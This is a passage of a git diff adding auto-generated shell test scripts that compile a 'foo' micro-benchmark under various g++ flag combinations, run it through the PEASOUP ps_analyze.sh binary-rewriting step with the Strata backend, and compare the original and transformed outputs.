+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..7da084fb2e2d175e46c3830a1bb1f6865a3293ee
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2fe17775ae94a4b5759987b4cec468745a4832e5
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..02c8439682783d6c3d0a99ee594ba48d88f2dacf
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3 -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3 -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..0ece039868b6e32eb0ca97c713499b7fd5ff8763
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..797ea2bb67b76c08d5a564bbc7f0a274bff37d46
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w ${testloc}/$BENCHNAME.cpp  ${testloc}/test.cpp $COMPFLAGS -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+./${test_binary} 3 > test_output/${test_binary}.out
+
+# save the original retval
+orig_retval=$?
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+./${analyzed_binary} 3 > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retval diff but it's not necessarily a problem?
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${retval}"
+fi
+
+# diff the output
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ."
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 6 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f0a39f218ba5511a50a8e6f125fea920990013b1
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/foo_tests/foo.strata.startfile.-O3.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,136 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE CompilerFlags="  -O3   -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test foo"
+# ATTRIBUTE BenchmarkName=foo
+
+BENCHNAME=foo
+COMPFLAGS="  -O3   -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm $test_binary $analyzed_binary
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
